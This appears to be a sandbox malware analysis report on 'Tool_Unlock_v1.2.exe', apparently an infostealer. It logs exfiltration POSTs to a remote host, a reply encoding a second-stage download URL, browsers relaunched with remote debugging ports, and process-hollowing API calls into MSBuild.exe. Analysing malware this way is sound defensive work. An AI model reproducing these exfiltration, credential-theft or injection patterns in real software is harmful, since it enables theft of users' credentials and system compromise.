2024-12-29 04:45:55 UTC	16355	OUT	Data Raw: 70 78 64 6d 6d 4e 53 6c 73 39 6a 48 62 56 72 39 4a 4d 4e 5a 6c 6c 55 34 4f 31 54 79 66 38 4d 59 71 5a 74 59 6d 55 74 2f 6f 45 70 41 58 63 4d 44 72 57 76 67 65 67 78 52 67 65 67 34 36 56 73 68 47 44 4c 72 56 32 34 68 4d 46 6c 49 43 78 47 34 4d 4f 67 72 63 58 4a 55 45 39 78 54 73 44 47 4f 50 79 6f 41 34 70 67 4a 53 5a 70 39 4a 69 67 44 6b 37 67 2f 38 58 4c 73 76 2b 76 52 76 36 31 31 31 63 66 65 6e 62 38 53 62 48 2f 72 30 62 2b 74 64 50 35 68 39 61 41 4c 4f 52 54 66 78 71 44 7a 50 65 6b 33 6d 67 43 63 39 61 53 6f 64 35 6f 38 77 30 41 53 45 6d 6d 6d 6f 7a 49 61 54 64 51 41 2b 6b 4a 46 4d 4a 4e 4d 4c 55 41 50 4c 55 77 6d 6d 46 36 4e 31 41 44 73 30 30 6d 6d 6c 71 61 57 6f 41 63 54 54 53 61 61 54 52 6e 69 67 42 63 30 32 6b 7a 53 5a 6f 41 55 6d 6d 35 70 43 61 54 Data Ascii: pxdmmNSls9jHbVr9JMNZllU4O1Tyf8MYqZtYmUt/oEpAXcMDrWvgegxRgeg46VshGDLrV24hMFlICxG4MOgrcXJUE9xTsDGOPyoA4pgJSZp9JigDk7g/8XLsv+vRv6111cfenb8SbH/r0b+tdP5h9aALORTfxqDzPek3mgCc9aSod5o8w0ASEmmmozIaTdQA+kJFMJNMLUAPLUwmmF6N1ADs00mmlqaWoAcTTSaaTRnigBc02kzSZoAUmm5pCaT
2024-12-29 04:45:55 UTC	16355	OUT	Data Raw: 62 49 78 42 4f 4e 78 50 4a 78 6e 6a 50 51 64 4b 35 71 34 73 45 66 79 78 4e 6f 31 33 4a 72 69 36 74 48 4a 4c 64 69 31 63 35 69 2b 30 41 67 2b 62 6a 42 51 4a 74 2b 58 4a 78 6a 6f 4e 75 51 66 61 53 44 70 63 39 45 71 43 30 76 49 4c 36 45 7a 57 30 6d 2b 4d 4f 38 5a 4f 43 50 6d 56 69 72 44 6e 30 49 49 72 68 6c 74 35 70 2f 47 46 6e 64 4a 70 51 67 6b 2b 33 53 72 63 46 64 4e 6c 44 6d 50 5a 49 75 58 75 53 64 72 71 33 79 6b 4b 42 67 5a 55 5a 34 35 62 46 59 57 2b 6e 36 4a 4c 59 4c 6f 4b 4b 57 31 47 58 37 51 58 30 75 53 61 4e 55 33 79 4e 47 78 6a 51 44 7a 6c 78 74 41 77 53 46 79 44 78 6a 46 48 53 34 33 76 62 2b 75 76 38 41 6b 65 68 55 56 7a 2f 67 75 47 65 33 38 4f 72 44 50 45 30 57 79 34 6e 38 74 47 68 61 45 42 50 4d 59 72 68 47 4a 4b 72 6a 47 42 6b 34 47 4b 36 43 68 Data Ascii: bIxBONxPJxnjPQdK5q4sEfyxNo13Jri6tHJLdi1c5i+0Ag+bjBQJt+XJxjoNuQfaSDpc9EqC0vIL6EzW0m+MO8ZOCPmVirDn0IIrhlt5p/GFndJpQgk+3SrcFdNlDmPZIuXuSdrq3ykKBgZUZ45bFYW+n6JLYLoKKW1GX7QX0uSaNU3yNGxjQDzlxtAwSFyDxjFHS43vb+uv8AkehUVz/guGe38OrDPE0Wy4n8tGhaEBPMYrhGJKrjGBk4GK6Ch
2024-12-29 04:45:55 UTC	155	OUT	Data Raw: 71 46 79 37 67 4d 50 75 73 6a 45 6b 6f 77 50 63 64 51 53 44 31 72 6c 71 4b 4c 41 64 42 71 48 6a 66 78 4c 71 50 6e 78 79 61 31 65 78 57 73 79 6d 4d 32 64 76 4f 38 64 75 73 5a 47 50 4c 57 4d 48 61 46 78 78 6a 48 53 75 66 6f 6f 70 67 46 58 4a 50 38 41 6b 43 32 76 2f 58 78 4e 2f 77 43 67 78 31 54 71 35 4a 2f 79 42 62 58 2f 41 4b 2b 4a 76 2f 51 59 36 41 50 2f 32 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 46 2d 2d 0d 0a Data Ascii: qFy7gMPusjEkowPcdQSD1rlqKLAdBqHjfxLqPnxya1exWsymM2dvO8dusZGPLWMHaFxxjHSufoopgFXJP8AkC2v/XxN/wCgx1Tq5J/yBbX/AK+Jv/QY6AP/2Q==------2DBI5PPH4EUAIMOHVK6F--
2024-12-29 04:45:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:57 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49952	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:59 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----89R1NGVKNGVAAAAAAAAI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:59 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 39 52 31 4e 47 56 4b 4e 47 56 41 41 41 41 41 41 41 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 38 39 52 31 4e 47 56 4b 4e 47 56 41 41 41 41 41 41 41 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 38 39 52 31 4e 47 56 4b 4e 47 56 41 41 41 41 41 41 41 41 49 0d 0a 43 6f 6e 74 Data Ascii: ------89R1NGVKNGVAAAAAAAAIContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------89R1NGVKNGVAAAAAAAAIContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------89R1NGVKNGVAAAAAAAAICont
2024-12-29 04:46:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:46:00 UTC	75	IN	Data Raw: 34 30 0d 0a 4d 54 4d 33 4d 44 49 78 4e 6e 78 6f 64 48 52 77 63 7a 6f 76 4c 32 31 68 64 6d 6c 6b 59 57 35 6a 4c 6d 4e 76 62 53 39 6f 64 58 4a 70 59 32 46 75 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 40MTM3MDIxNnxodHRwczovL21hdmlkYW5jLmNvbS9odXJpY2FuLmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50053	23.200.0.42	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:46:37 UTC	382	OUT	POST /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Content-Length: 466 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-29 04:46:37 UTC	466	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 39 34 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 36 36 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 33 2e 31 30 37 2e 36 2e 31 35 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 31 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 75 73 69 6e 65 73 73 2e 62 69 6e Data Ascii: [{"age":59947,"body":{"elapsed_time":2665,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"13.107.6.158","status_code":401,"type":"http.error"},"type":"network-error","url":"https://business.bin
2024-12-29 04:46:37 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Sun, 29 Dec 2024 04:46:37 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.09ac2d17.1735447597.2ff748eb Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Target ID:	0
Start time:	23:44:54
Start date:	28/12/2024
Path:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Tool_Unlock_v1.2.exe"
Imagebase:	0x330000
File size:	722'472 bytes
MD5 hash:	4DAB3D343886C78602C10167D06BE7C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:44:54
Start date:	28/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:44:55
Start date:	28/12/2024
Path:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Tool_Unlock_v1.2.exe"
Imagebase:	0x330000
File size:	722'472 bytes
MD5 hash:	4DAB3D343886C78602C10167D06BE7C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:45:12
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:45:13
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2976 --field-trial-handle=2668,i,7896781068982538067,1984520097457375725,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:45:26
Start date:	28/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:45:27
Start date:	28/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2336,i,3397002458540084717,14806387222584576439,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:45:27
Start date:	28/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:45:27
Start date:	28/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2760 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	23:45:32
Start date:	28/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6284 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:45:32
Start date:	28/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6640 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:46:27
Start date:	28/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6588 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	1%
Signature Coverage:	3.7%
Total number of Nodes:	801
Total number of Limit Nodes:	13

Executed Functions

Function 0036A19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0036A110,0036A100), ref: 0036A334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0036A347
Wow64GetThreadContext.KERNEL32(00000128,00000000), ref: 0036A365
ReadProcessMemory.KERNELBASE(0000012C,?,0036A154,00000004,00000000), ref: 0036A389
VirtualAllocEx.KERNELBASE(0000012C,?,?,00003000,00000040), ref: 0036A3B4
WriteProcessMemory.KERNELBASE(0000012C,00000000,?,?,00000000,?), ref: 0036A40C
WriteProcessMemory.KERNELBASE(0000012C,00400000,?,?,00000000,?,00000028), ref: 0036A457
WriteProcessMemory.KERNELBASE(0000012C,?,?,00000004,00000000), ref: 0036A495
Wow64SetThreadContext.KERNEL32(00000128,033C0000), ref: 0036A4D1
ResumeThread.KERNELBASE(00000128), ref: 0036A4E0

Strings

VirtualAllocEx, xrefs: 0036A29C
ResumeThread, xrefs: 0036A2D8
ress, xrefs: 0036A226
CreateProcessW, xrefs: 0036A250
VirtualAlloc, xrefs: 0036A263
WriteProcessMemory, xrefs: 0036A2AF
GetThreadContext, xrefs: 0036A276
ReadProcessMemory, xrefs: 0036A289
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0036A333
GetP, xrefs: 0036A21E
SetThreadContext, xrefs: 0036A2C2
aryA, xrefs: 0036A1E2
TerminateProcess, xrefs: 0036A3C3
Load, xrefs: 0036A1DA

Memory Dump Source

Source File: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 6ab155ece1542e772f156ebde441dce70f0365b0c66c2a08bb41aac67360be90
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 72B1197664064AAFDB60CF68CC80BDA73A5FF88714F158124EA0CAB345D774FA41CB94

Function 00331FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00331240: _strlen.LIBCMT ref: 003312BA

CreateFileA.KERNELBASE ref: 00332036
GetFileSize.KERNEL32(00000000,00000000), ref: 00332046
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0033206B
CloseHandle.KERNELBASE(00000000), ref: 0033207A
_strlen.LIBCMT ref: 003320CD
CloseHandle.KERNEL32(00000000), ref: 003321FD

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: 21fb7c8aece19b278b3533189c9daf3b4dae057bbaca9cead209aef22a24cb97
Instruction ID: 535b1716504f876fba3c3a3f65850b4a1a2fc6a6175db34b6cd1f31a3c7b5cb5
Opcode Fuzzy Hash: 21fb7c8aece19b278b3533189c9daf3b4dae057bbaca9cead209aef22a24cb97
Instruction Fuzzy Hash: 6F71F4B2C006189FCB12DFA4DC85BAEBBB5FF48310F140629E815BB391E7759945CBA1

Function 00331000 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

p5, xrefs: 0033101E

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID: p5
API String ID: 0-2016865095
Opcode ID: fe9fb7be6893318b8be7e9b960c523ff5a4d05dc38bf42230bd5f327eb6491b2
Instruction ID: 4f57ff25d82a2ee30cf3b1e276b68e67f164898019b64ac0b451c1b21b9aad11
Opcode Fuzzy Hash: fe9fb7be6893318b8be7e9b960c523ff5a4d05dc38bf42230bd5f327eb6491b2
Instruction Fuzzy Hash: 99214C336141650B8B9E9F386DE203BFB4ADBC66A0F06573AED129F2D1E520DD5082F4

Function 003324B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 003324DD
ShowWindow.USER32(00000000,00000000), ref: 003324E6
GetCurrentThreadId.KERNEL32 ref: 00332524

Part of subcall function 0033F11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0033253A,?,?,00000000), ref: 0033F129
Part of subcall function 0033F11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,0033253A,?,?,00000000), ref: 0033F142
Part of subcall function 0033F11D: CloseHandle.KERNEL32(?,?,?,0033253A,?,?,00000000), ref: 0033F154

std::_Throw_Cpp_error.LIBCPMT ref: 00332567
std::_Throw_Cpp_error.LIBCPMT ref: 00332578
std::_Throw_Cpp_error.LIBCPMT ref: 00332589
std::_Throw_Cpp_error.LIBCPMT ref: 0033259A

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: 3551afb24043178c1adb390b442eab618962dfd1e9498dde3dcc031185e8c828
Instruction ID: 29f9795a8aae2767fc5618167dbd95d4f79091153055c27034f042a9a2130a30
Opcode Fuzzy Hash: 3551afb24043178c1adb390b442eab618962dfd1e9498dde3dcc031185e8c828
Instruction Fuzzy Hash: F02188F2D402159BDF11EF949C87BDFBBB8AF04750F180125F5047A281E7B5A614C7A6

Function 0034CF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,4EEB0981,?,0034D01A,?,?,00000000), ref: 0034CFCC

Strings

ext-ms-, xrefs: 0034CF76
api-ms-, xrefs: 0034CF62

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: a58e39f87cfec1d59f6b754dc42a4fc9a376211e44ef97b192cc5925d4dc299d
Instruction ID: fbdda1030a32106be1f9a337b9dffe323c76f68b5a2312673e4245a95ef79d8d
Opcode Fuzzy Hash: a58e39f87cfec1d59f6b754dc42a4fc9a376211e44ef97b192cc5925d4dc299d
Instruction Fuzzy Hash: C3212B31B12311ABC7238B64DC41A5AB79DDB417A0F165121F905AF290E774FD08CBD0

Function 00331750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00331783

Strings

ios_base::eofbit set, xrefs: 00331BEA
ios_base::badbit set, xrefs: 00331BFA, 00331C20
ios_base::failbit set, xrefs: 00331BEF

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

